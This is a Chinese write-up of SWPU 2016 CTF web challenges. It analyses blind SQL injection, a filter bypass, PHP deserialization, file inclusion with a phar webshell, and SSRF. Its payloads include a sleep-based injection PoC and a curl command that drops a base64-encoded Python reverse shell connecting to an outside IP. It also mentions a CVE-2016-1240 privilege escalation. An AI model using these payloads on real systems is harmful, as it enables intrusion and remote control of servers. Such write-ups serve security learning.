SWPU-2016-web-部分思路整理

本来早就该发了,一直以为上周发过了。。。 事前吐槽下把,不知道是校网的原因还是服务器的原因,我用校园网连不上比赛服务器, 挂上代理之后能够连上但是又很不方便做题,加上vps有点问题什么的,也就瞬间没了欲望。 整理下一些题的思路把。 由于连不上服务器,python脚本也写不了,所以有些题就只有思路,也不算wp。 加上我个人对题目的理解和分析,由于没有实际做题,如果有问题希望大家指正

web 50

源码里面拿到flag

web 200-1

一个什么流量监控系统,在响应头里面拿到base64编码的tips,如下:

$query="SELECT * FROM admin WHERE uname='".$uname."'";
if ($row['passwd']===$passwd)
{
$_SESSION['flag'] = 1;

过滤了很多,空格、#、*、union、、and、or、|、+,–、&、%0a、%0b、%0c、%0d等等,也就没法用联合查询来绕过什么的,也就直接转想盲注把。 这里我们很容易发现问题所在,并且可以利用来进行盲注

这里写图片描述

这里写图片描述

观察上面两张图返回完全不一样的答案,所以写个脚本就能猜解出passwd了 这里脚本我就懒得写了。没有VPS懒得代理了。

web 200-2

也是懒得解决代理问题, 简单扫一下发现存在备份文件。index.php.bak如下:

if(isset($_COOKIE['user']))
{ $login = @unserialize(base64_decode($_COOKIE['user']));
if(!empty($login->pass)){
    $status = $login->check_login();
    if($status == 1){
        $_SESSION['login'] = 1;
        var_dump("login by cookie!!!");
    }
 }
 }

感觉少了些什么,不过肯定是个反序列化漏洞,肯定还有其他文件,换个再扫一下发现了一个function.php,而且也是有备份文件的function.php.bak,太多不贴代码了。 就是一个反序列化构造,绕过checksql()函数,然后还是因为网络原因暂时没法儿用burp,也懒得下其他浏览器插件来改cookie,也就没有实际做这道题。 由于最近恰好在做代码审计,发现这个过滤感觉挺像80sec-ids的过滤,刚看完不久 附链接:http://www.cheery.win/?p=119可以用单撇号来bypass。

PS:正常的80sec-ids最初的匹配是

if(preg_match('/[^0-9a-z@._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@.-]{1,}/', $sql))
{
$this->DisplayError("$sql||SelectBreak",1);
}

但是本题的是:

if ($querytype == 'select') {
            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
            if (preg_match("/".$notallow1."/i", $db_string)) {
                exit("Error");
            }
        }

所以猜测这里多半会用sleep、benchmark什么的把。 接下来这里我结合自己分析下这个改版的80sec-ids把。 首先第一部分

if ($querytype == 'select') {
            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
            if (preg_match("/".$notallow1."/i", $db_string)) {
                exit("Error");
            }
        }

这里过滤select语句的一些特殊语法,不过这里没有直接过滤sleepbenchmark,所以就有机会bypass。 接下来就是关键部分

while (TRUE) {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE) {
                break;
            }
            $clean.= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE) {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE) {
                    break;
                }
                elseif($pos2 == FALSE || $pos2 > $pos1) {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean.= '$s$';
            $old_pos = $pos + 1;
        }

这里通过匹配 确定提取出每两个单引号直接的内容,并且将其中的内容通过 substr()函数截断下来,再将剩下来的语句进行匹配,所以只要我们将我们需要的语句藏在 两个单引号之间就OK了

简单的说就是如下图所示,我输入第一行,然后被一通操作搞成第二行的样子然后进行接下来的过滤。 这里写图片描述 也就是说,下述的过滤代码都是对第二行这样子的进行过滤,所以我们就可以把我们的东西藏在单引号里面来bypass

        if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') !== FALSE OR strpos($clean, '$s$$s$') !== FALSE) {
            $fail = TRUE;
            if (preg_match("#^create table#i", $clean)) $fail = FALSE;
            $error = "unusual character";
        }
        elseif(strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE) {
            $fail = TRUE;
            $error = "comment detect";
        }
        elseif(strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "slown down detect";
        }
        elseif(strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "slown down detect";
        }
        elseif(strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "file fun detect";
        }
        elseif(strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "file fun detect";
        }

所以总的来说我们这里肯定是利用sleep进行bool盲注,所以就需要把sleep藏在两个单引号之间。 再简单的说,下面两个句子的效果是一样的。

select `'`.``.passwd from admin;   
select passwd from admin;

但是利用上面的句子我们可以bypass掉过滤,这样我们就可以构造sql语句进行爆破了,给个poc如下:

admin' and (select 1 from flag where ascii(substring(flag,1,1))=30) and (`'`.``.flag=1 or sleep(5)) #

另外我们还要注意一个地方, login()函数,如果我们想要搞定这个,就需要把里面的__wakeup给pass掉,我之前分析过这个漏洞, 链接:http://blog.csdn.net/qq_19876131/article/details/52890854 所以综上就可以做题了。具体就没操作了,要是分析的有问题希望大家指正

web 100 和web 200-3

文件包含,这里注意它会在你的输入后面强制加上.php,所以通过php://filter读源码的时候要注意下

http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=upload
http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=include

拿到include.php如下:

<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

然后upload.php如下:

<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILE["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

观察这里用白名单来过滤,那么想到伪协议什么的,吧一句话写到一个php里面,压缩成zip,再改名上传,用zip或是phar包含应该就可以了, 注意这里一句话的传参数不能用get(好吧估计也就我个人喜欢用GET)。 具体操作就是 创建一个bendawang.php,写入一句话,然后压缩成bdw.zip,该后缀为bdw.jpg,上传,然后访问http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang,如下:

这里写图片描述

这里写图片描述 拿到flag并且拿到下一个tip, 利用webshell先反弹个shell好操作一些,再执行如下代码,往我自己的vps上弹一个shell。

curl -d "a=%24f%3Dfopen%28%22%2ftmp%2fa.py%22%2C%22wb%22%29%3Bfwrite%28%24f%2Cbase64_decode%28%22aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwNC4xNjAuNDMuMTU0Iiw1NTU1NSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7%22%29%29%3B%0Afclose%28%24f%29%3Bsystem%28%22python%20%2ftmp%2fa.py%22%29%3B" "http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang"

根据tomcat加root那么都不用想肯定是提权,那就是最近的CVE-2016-1240了。 freebuf上有poc,但是这里要注意需要的是tomcat的用户才能提权,现在已经有www-date的shell了,往tomcat目录下写个jsp马 如下,没用自己的电脑做所以临时找的比较挫不过没事: 这里写图片描述 接下来就是回连,以及执行poc,由于网速太渣和服务器太渣,实在是太慢了,后续工作就没有做了。

web 300

一个明显的ssrf,file:///etc/issue读到是centos,然后查看网卡信息/etc/sysconfig/network-scripts/ifcfg-eth0,如下: 这里写图片描述

写个脚本跑下发现172.16.181.166开着80端口,根据回显应该就是这个ip了, 然后在那字典跑目录,发现存在一个/admin目录 这里写图片描述 下面还有个login.php

<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body class="signin">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
    <title>wllmctf管理中心</title>
            <form method="post" action=wllmctf_login.php>
                <h4 class="no-margins">后台登录</h4>
                <input type="text" class="form-control uname" id="user" name="username" placeholder="用户名">
                <input type="password" class="form-control pword m-b" name="password" placeholder="密码">
                <button id="submit" name="submit" class="btn btn-success btn-block">登录</button>
            </form>
<!-- Mirrored from www.zi-han.net/theme/hplus/login_v2.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:19:52 GMT -->
</body></html>

web 400

进入网页折腾半天没什么收获,然后扫了下目录发现个web.zip,里面有源码,代码审计。 首先看common.php,重点这部分 这里写图片描述 把传参直接搞成变量,必然存在变量覆盖问题。 但是找找可用的变量,只有在riji.php下面,有一个$id变量,

<?php
require_once("common.php");
session_start();
if (@$_SESSION['login'] !== 1)
{
   header('Location:/web/index.php');
  exit();
}
if($_SESSION['user'])
{
  $username = $_SESSION['user'];
  @mysql_conn();
  $sql = "select * from user where name='$username'";
  $result = @mysql_fetch_array(mysql_query($sql));
  mysql_close();
  if($result['userid'])
  {
     $id = intval($result['userid']);
  }
}
else
{
  exit();
}
?>
<!DOCTYPE HTML>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>日记系统</title>
<meta name="keywords" content="日记系统" />
<meta name="description" content="" />
<link rel="stylesheet" href="css/index.css"/>
<link rel="stylesheet" href="css/style.css"/>
<link rel="stylesheet" href="css/animate.css"/>
<script type="text/javascript" src="js/jquery1.42.min.js"></script>
<script type="text/javascript" src="js/jquery.SuperSlide.2.1.1.js"></script>
<!--[if lt IE 9]>
<script src="js/html5.js"></script>
<![endif]-->
</head>
<body>
     <!--header start-->
   <div id="header">
     <h1>日记系统</h1>
     <p>一个给小美的日记系统</p>    
   </div>
    <!--header end-->
   <!--nav-->
    <div id="nav">
        <ul>
        <li><a href="index.php">登陆</a></li>
      <li><a href="forget.php">找回密码</a></li>
        <li><a href="riji.php">个人日记</a></li>
        <li><a href="guestbook.php">写日记</a></li>
      <li><a href="logoff.php?off=1">注销</a></li>
        <div class="clear"></div>
       </ul>
     </div>
      <!--nav end-->
   <!--content start-->
   <div id="content">
      <!--left-->
        <div class="left" id="riji">
          <div class="weizi">
          <div class="wz_text">当前位置:<a href="#">首页</a>><h1>个人日记</h1></div>
          </div>
          <div class="rj_content">
           <?php
           @mysql_conn();
           $sql1 = "select * from msg where userid= $id order by id";
           $query = mysql_query($sql1);
           $result1 = array();
           while($temp=mysql_fetch_assoc($query)) {
              $result1[]=$temp;
           }
           mysql_close();
           foreach($result1 as $x=>$o)
           {
              echo display($o['msg']);
           }
           ?>
          </div>
        </div>
   </div>
</body>
</html>

但是我们观察第一部分代码,既然我们要覆盖,那么我们就不能让$result['userid']有值,但是我们还要必须保证$_SESSION['user']有值,不然就会exit,这里问题就是,我们如何做到没有这个用户但还要保留这个用户的$session,这里没有用到的api.php就起到作用了。

<?php
require_once("common.php");
session_start();
if (@$_SESSION['login'] === 1){
   header('Location:/web/riji.php');
  exit();
}
class admin {
  var $name;
  var $check;
  var $data;
  var $method;
  var $userid;
  var $msgid;
  function check(){
     $username = addslashes($this->name);//�������ݿ�����ݽ���ת��
     @mysql_conn();
     $sql = "select * from user where name='$username'";
     $result = @mysql_fetch_array(mysql_query($sql));
     mysql_close();
     if(!empty($result)){
        //���� salt ��֤�Ƿ�Ϊ���û�
        if($this->check === md5($result['salt'] . $this->data . $username)){
           echo '(=-=)!!';
           if($result['role'] == 1){//����Ƿ�Ϊadmin�û�
              return 1;
           }
           else{
              return 0;
           }
        }
        else{
           return 0;
        }
     }
     else{
        return 0;
     }
  }
  function do_method(){
     if($this->check() === 1){
        if($this->method === 'del_msg'){
           $this->del_msg();
        }
        elseif($this->method === 'del_user'){
           $this->del_user();
        }
        else{
           exit();
        }
     }
  }
  function del_msg(){
     if($this->msgid)
     {
        $msg_id = intval($this->msgid);//��ע��
        @mysql_conn();
        $sql1 = "DELETE FROM msg where id='$msg_id'";
        if(mysql_query($sql1)){
           echo('<script>alert("Delete message success!!")</script>');
           exit();
        }
        else{
           echo('<script>alert("Delete message wrong!!")</script>');
           exit();
        }
        mysql_close();
     }
     else{
        echo('<script>alert("Check Your msg_id!!")</script>');
        exit();
     }
  }
  function del_user(){
     if($this->userid){
        $user_id = intval($this->userid);//��ע��
        if($user_id == 1){
           echo('<script>alert("Admin can\'t delete!!")</script>');
           exit();
        }
        @mysql_conn();
              $sql2 = "DELETE FROM user where userid='$user_id'";
        if(mysql_query($sql2)){
           echo('<script>alert("Delete user success!!")</script>');
           exit();
        }
        else{
           echo('<script>alert("Delete user wrong!!")</script>');
           exit();
        }
        mysql_close();
     }
     else{
        echo('<script>alert("Check Your user_id!!")</script>');
        exit();
     }
  }
}
$a = unserialize(base64_decode($api));
$a->do_method();
?>

非常明显的反序列化注入,而且正好能够删除用户,加上代码里面没有地方销毁session,那么正好是我们所想要达到的目标。 但是我们看看代码,有一个check()函数被调用了,如果能够绕过就很方便了,看看函数,重点部分:

if($this->check === md5($result['salt'] . $this->data . $username)){
           echo '(=-=)!!';
           if($result['role'] == 1){//����Ƿ�Ϊadmin�û�
              return 1;
           }
           else{
              return 0;
           }

这里需要获取$salt,但是我们看看index.php这里写图片描述

所以全部都在cookie里面了,所以接下来就可以删除用户了,然后到达覆盖变量id的目的,从而完成注入。由于没有实际做题,所以后续的做法也不知道,就只能分析到这里了。